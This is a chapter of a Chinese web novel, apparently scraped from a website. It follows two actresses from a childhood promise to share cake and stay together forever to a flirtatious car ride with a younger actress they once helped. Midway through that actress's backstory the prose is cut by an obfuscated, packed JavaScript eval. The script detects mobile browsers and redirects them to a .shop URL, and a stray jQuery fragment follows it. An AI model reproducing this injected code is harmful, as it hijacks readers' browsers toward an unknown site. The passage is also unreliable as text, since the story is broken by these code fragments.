薄薄的纱帘雾似的轻晃,两个短手短脚的幼崽围坐在桌子前,小脸紧绷,目光汇聚在桌子上的切块奶油蛋糕上。

    五岁的周含矜长相可爱,脸蛋透粉,将切块蛋糕推到身边的小女孩的面前,“知知,你吃草莓蛋糕。”

    知知最喜欢的草莓蛋糕给知知吃。

    贺漾知睫毛细密,长发黑眸,双手乖巧放在膝上,舔舔唇瓣,竭力抵制诱惑,“我吃过了,这块是你的。”

    周含矜眨眨眼,捕捉到她咽口水的动作,宝石般的漂亮眼珠转了转,伸手,拿起蛋糕上红艳艳的草莓,递到她的唇边,“啊~”

    唇瓣触到冰凉,贺漾知张口,咬下足足有拳头那么大的草莓,脸颊鼓鼓的。

    沁甜的汁水混合奶油的香甜溢满口腔。

    周含矜问:“好吃吗?”

    贺漾知晃晃脚,回答说:“好吃的。但是没有昨天我们一起吃的好吃。”

    周含矜扬扬唇,语气娴熟的拐人,“我家里还有呢,知知今晚来我家,好不好?”

    贺漾知咽下草莓,“好。”

    周含矜心满意足地听到答案,握起勺子,一口一口地喂她吃起蛋糕。直到贺漾知摇摇头,她才将剩下的蛋糕吃完。

    双手托住带着点点婴儿肥的脸颊肉,靛蓝色公主裙裙摆如海浪,在阳光下折射粼粼的柔光,周含矜语气期待,“知知,吃了我的蛋糕,就要做我的朋友哦。”

    贺漾知侧头看她,脸蛋爬上困惑,“可我们本来就是好朋友。”

    周含矜想了想,握紧小拳头,“那我们要做一辈子的好朋友,一直在一起。”

    “好呀。”贺漾知的眼睛弯成月牙状,牵起周含矜的手。

    两只小手严丝合缝地贴在一起,贺漾知的声音软绵,认真地说:“我们永远不要分开。”

    ……

    “贺漾知,醒醒~”

    谁在叫她?

    眨眼的工夫,幼儿园凭空消失,贺漾知环顾四周,画着童真涂鸦的墙壁变幻成茶馆的布置,嫩绿的茶叶在杯盏里翻滚舒展,清香四溢,日光透过落地窗流泻而入,映亮空气里起起伏伏的尘埃颗粒。

    她的对面,褪去幼时的稚嫩,十八岁的周含矜穿着修身短裙,霞姿月韵,美得浓烈,盈盈坐着便是一道风景。

    但她身边看不清脸的男人很碍眼。

    贺漾知不觉得有什么不对劲,乌黑的瞳仁闪过一抹抗拒,抿抿唇,“阿矜,他是谁?”

    周含矜微笑着,潋滟含情的桃花眼媚而不妖,语气温柔甜蜜,说:“给你介绍一下,这位是我的恋人。”

    浑身的血液凝固,空白的神色驱赶走脸上的一切情绪,贺漾知有些恍惚,看着眼前的人仿佛在看不认识的陌生人。

    她的唇瓣紧抿成一条直线,茶馆里缓缓播放甜蜜情歌,像利刃一刀一刀凌迟着她的心脏,“我们不是说好,一辈子不要分开吗?”

    “是啊。”

    周含矜双手交叉,无奈又纵容地看她一眼,声音柔情似水,说:“我是恋爱了,又不是和你绝交了,我们当然还要做一辈子的朋友。但每个人都会经历恋爱、结婚、组建新的家庭,这是人生必然的命题。漾知,你不想阻拦我追求幸福吧?”

    贺漾知的表情顿了下,如同老化后不堪重负的玻璃,周含矜的话是落在上面的一根稻草,让她顷刻间碎成无数的渣子。

    她的指甲掐进掌心,眸光黯淡下去,强颜欢笑,说:“不会的。”

    她怎么会阻拦周含矜追求幸福?

    她最希望的,就是她幸福。无论这份幸福,是不是与她有关。

    “知知~”

    “知知,醒醒~”

    贺漾知:“……”

    贺漾知不想醒。

    周含矜怎么叫她“知知”,不像刚才那样,冷酷无情地叫她“贺漾知”了?

    贺漾知决心不理会。

    她冷漠地用手背抹去眼角沁出的泪花,忽然察觉到端倪。

    从小时候学会“知知”两字的音节,周含矜只会叫她“知知”。

    而且,周含矜最讨厌喝茶,又怎么可能将见面的地点约在茶馆?

    是梦。

    梦境里的梦境。

    画面扭曲,梦境分崩离析,电光石火之间,贺漾知从层层梦境中坠落,猝然惊醒。

    白桃的香气似有似无,抚过鼻尖,她的眼眸不堪光照的刺入,飞快地眨动两下。

    朦胧的白雾从眼前消散,率先映入眼帘的,是近在咫尺的美艳脸庞。

    比梦中还要美上三分,一双标致的桃花眼潋滟、有神,含着担忧与关心。

    周含矜的手指纤不见骨,弯曲的指节浮着淡淡的粉,指腹拈着纸巾,替贺漾知擦去眼下的泪水。

    两人距离很近,呼吸交闻。

    周含矜问:“做噩梦了?”

    贺漾知的大脑慢慢恢复运转,T恤贴着后背滚烫的肌肤,里面满是虚汗。

    她的柳叶眼很亮,覆着一层薄薄的水光,慢吞吞地瞥向周含矜,呼吸拉长。

    的确是噩梦。

    “梦见你谈恋爱了。”

    周含矜一怔,精致的五官凝重,怀疑自己听错了,“什么?”

    贺漾知张唇,刚想重复一遍,唇瓣被白皙食指抵住。

    周含矜定定地看着她,轻启红唇,“你再做到这种梦,就罚我无副作用中奖五百万。”

    贺漾知:“……”

    她和周含矜谈感情,周含矜却和她谈金钱。

    “我们的感情怎么能用钱衡量?”

    周含矜:“要多少?”

    贺漾知:“一半。”

    周含矜弯唇,天生上扬的眼尾勾出妩媚的诱惑,“我的就是知知的,都给你。”

    她将手心里的纸巾扔掉,摩挲了下指腹,感受到淡淡的湿意。

    觉得刚才说得不够多。

    周含矜眉梢微抬,补充说:“梦都是相反的。是单身不够自由,还是我们的感情不牢固了,我干嘛想不开,去吃恋爱的苦。”

    这辈子都不可能的。

    贺漾知低低地“嗯”了一声。

    这才是她熟悉的周含矜,友情至上,事业第二,对爱情嗤之以鼻,不屑一顾。就连看到路边热恋期的小猫咪交尾,都要蹲下来,语重心长地讲一番恋爱的痛苦与危害。

    好在每次的教育都戴了口罩,狗仔远远的跟拍,没有录到声音,不然“知名影后心理扭曲拆猫姻缘”的词条当日就能引爆热搜。

    周含矜拿出长颈鹿保温杯,按下杯盖上的淡黄色按钮,递到贺漾知的面前。

    “我们马上下飞机了。礼服在酒店的房间里,晚上七点一起去晚宴?”

    贺漾知:“好。”

    她对接下来的安排没有异议,伸手去接保温杯,却被周含矜躲过。

    女人的桃花眼微微上扬,过分好看的红唇翘起散漫又风情的弧度。

    周含矜:“分什么你我?”

    贺漾知:“……”

    耳后的一缕碎发滑落脸颊,她咬住唇边的吸管,嘴唇施了点力,慢慢地吸了一口,水温不烫不冷,刚刚好。

    -

    下了飞机,两人走vip通道,刚坐上商务车,外面乌泱泱涌出一片人,一个人影飞快地打开车门,坐在后排。

    苏臻摘下口罩,没等松了口气,发现车内不是熟悉的经纪人的身影,心下不妙,意识到自己慌乱中只看了车型,没有核对车牌,上错了车。

    等看清坐在身侧的人,她的心中漾起隐秘的喜悦,“周老师。

    周含矜纤眉微蹙,想起在哪里见过对方。

    她是贺漾知上一部爱看的电视剧的女主角。

    周含矜提醒她,“你好像上错车了。”

    苏臻的眼睛里划过懊恼,窘迫地说:“周老师,能不能麻烦你们捎我一段?粉丝们都在外面,我怕现在下车,场面不好控制。”

    周含矜的目光掠过车窗外涌向前的人群,举着灯牌和横幅的粉丝互相推搡,不顾保安阻拦,试图推开对方张开的手臂。

    “你也去X.T晚宴吗?”

    “嗯,是的。”

    商务车的引擎启动,发出低沉地轰鸣,沿着预定的轨道驶离机场,将一切甩在后面。

    车厢内放着不知名的音乐,旋律轻快,苏臻给经纪人发了消息说明坐错车的情况,从最初的羞窘状态中出来,偷觑着周含矜,心脏砰砰直跳。

    “周老师,两年前……”

    两年前,苏臻入行不久。没有名气,没有背景,每一步路都举步维艰。一次,经纪人借着谈合作的名义,将她骗进了一场酒局。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705783|208320||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她骨头硬,忤逆了投资商,注定不能全身而退的情况下,角落里一言不发的女人救了她。

    仅仅一句解围的话,救她于水火。

    此后,周含矜成了她的魂牵梦萦。

    周含矜从脑海里拽出那场酒局,勉强记忆起对方当时的模样,绝望无措,与此时含笑注视着她的神情截然不同。

    苏臻说:“我都不知道该怎么回报你。”

    “不需要,”周含矜不会为了回报去付出,细指搭在膝上,嘴唇翕动,“我只是看不过投资方仗势欺人。”

    那一年,贺漾知本科毕业,正式踏入娱乐圈。周含矜应邀参加相熟导演的酒局,想着贺漾知第一次拍戏,神情不属。回过神,看见与她们年龄差不多的演员遭受刁难,顺手帮了一把,便匆匆离开。

    给贺漾知打电话。

    询问剧组需不需要投资。

    酒店房间需不需要升级豪华套房。

    以及需不需要暖床服务,括号,影后级别,周姓,三字。

    车位后排的空间宽敞,容纳三个人绰绰有余。

    但尽管合拢双腿,贺漾知依旧感受到空间缩窄,腿侧不属于自己的体温。

    周含矜大概没有注意到这件事。

    贺漾知朝外侧挪了挪身子,与她拉开了一点距离,而下一秒,温热的体温又贴上她的腿间。

    贺漾知:“?”

    她又朝外挪了寸,周含矜跟着一挪,再度贴紧她。

    耳边是衣裙的摩挲声。

    喉咙发痒。

    脑海里仅剩下一个字。

    软。

    成长是顶级的雕琢家。

    从女孩到女人,周含矜的身体抽条,骨架纤细而比例极好,窈窕有致,肌肤细腻又有光泽,软得好似能挤出水。

    她穿了身抹茶绿的缎面长裙,细腻如她的肌肤,轻薄不隔温。体温透过布料,渡在相贴的皮肤,无声无息,令人心底燃起一簇不灭的暗火。

    “软吗?”周含矜说着,视线看向贺漾知。

    贺漾知:“……?”

    什么从她的耳边飞过去了?

    四目相对,贺漾知的眼神里闪过一抹慌乱,心跳频率错乱。

    她把“好软”的心声说出口了吗?

    见她愣神,周含矜重复了一遍,指尖捏了捏她的手背,声音轻柔且媚,“怎么不回答?知知,软不软?不舒服吗?”

    贺漾知的身子僵直,无声的电流从她的脖颈劈下,沿着脊柱滋滋向下,在相贴的腿间汇合。

    她支吾着,不敢回答。

    周含矜眉梢轻挑,“不喜欢吗?这坐垫是新买的,决明子内芯,冬暖夏凉。你不喜欢的话,我改天换个新的。”

    原来是问坐垫。

    “嗯,很不错。”

    贺漾知的目光划过身下的软垫,藏在乌发里的耳尖绯红,面上一丝不苟地绷着,从便携式冰箱里取出一瓶冰镇水,扭开喝了小半瓶解渴。

    粉色的唇瓣湿润,在如水般的光线下,仿佛添上一层高光。

    周含矜眨眨桃花眼,眼睛弯曲的弧度都写满暗示,说:“我也渴了。”

    苏臻从包中取出一瓶没拆开过的矿泉水,询问:“周老师,你喝吗?”

    犹豫了下,苏臻小声解释,“我有一个朋友和你搭过戏,她说你有洁癖,从来不和别人共用餐具和物品。

    周含矜:“有吗?”

    苏臻低声说:“她说……场务老师给你递饼干时,你提过不习惯吃别人碰过的食物。”

    贺漾知扭头,看向周含矜,眉尖蹙起,欲言又止。

    周含矜轻咳一声,唇角弯着笑,“谢谢。”

    苏臻眼睛发亮,“没事的。”

    “不过不用了。”周含矜的笑容不变,没有接过。

    她从贺漾知的手心里抽走泛着凉气的矿泉水,唇瓣无意贴住她的唇碰过的地方,将剩下的水喝去三分之一。

    瓶口留下唇印,沾着水光,暧昧绯红。

    周含矜解释,“别浪费掉。”

    握着瓶身的手腕颀秀纤细,双层叠戴手链上的星星吊坠精致小巧,一晃一晃,闪烁醉人的光。

    贺漾知抿唇,放低的声线清冷磁性,问:“你什么时候有的洁癖?”

    周含矜弯了下唇,“对你除外。”